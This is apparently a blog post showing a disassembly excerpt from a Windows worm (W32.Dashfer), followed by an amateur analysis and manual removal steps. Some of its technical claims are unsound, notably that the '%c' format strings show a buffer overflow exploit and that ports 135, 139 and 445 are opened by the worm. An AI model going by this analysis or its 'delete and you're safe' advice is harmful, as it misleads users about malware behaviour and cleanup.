00406814   PUSH Setup.0040BC74                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040690C   PUSH Setup.0040BBD4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406950   MOV EDI,Setup.0040BBCC                    ASCII "Type"
0040696D   MOV EBX,Setup.0040BBC4                    ASCII "radio"
004069E2   PUSH Setup.0040BBBC                       ASCII "IEFrame"
00406A43   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406B62   PUSH Setup.0040BF0C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CA3   PUSH Setup.0040BF3C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406CB4   PUSH Setup.0040B968                       ASCII "XOR"
004073DB   SUB ESP,68                                (Initial CPU selection)
00407539   PUSH 10000                                UNICODE "=::=::\"

I can tell this virus is really dangerous. It kills every anti-virus program you have in an instant. The existence of those %c shows that it is using a buffer overflow/format string exploit, which is very effective against a naive operating system like Windows. It also opens some ports on your computer: 135, 139, 445, 1026, and 5152.

As I'm running out of time for tonight, let's leave the detailed analysis of the virus for later, and get to the removal instruction. If you have a look at the running processes under Security Task Manager, you'll see that the virus is faking the name of lsass.exe and smss.exe, with similar ones in C:\Windows\system32\com\. Also it probably wants to hijack your browser with ljjijgf.dll in C:\Windows\system32\ too. Get rid of them and you're safe :)

Update: as discovered by my little brother, you need to get rid of 2 other fake files: rar.exe and alg.exe somewhere in the Windows directory too.

Update2: the virus has been identified as W32.Dashfer.Worm by BKIS. You can get BKAV to wipe the virus away from your computer.

And finally, some images for your curious eyes: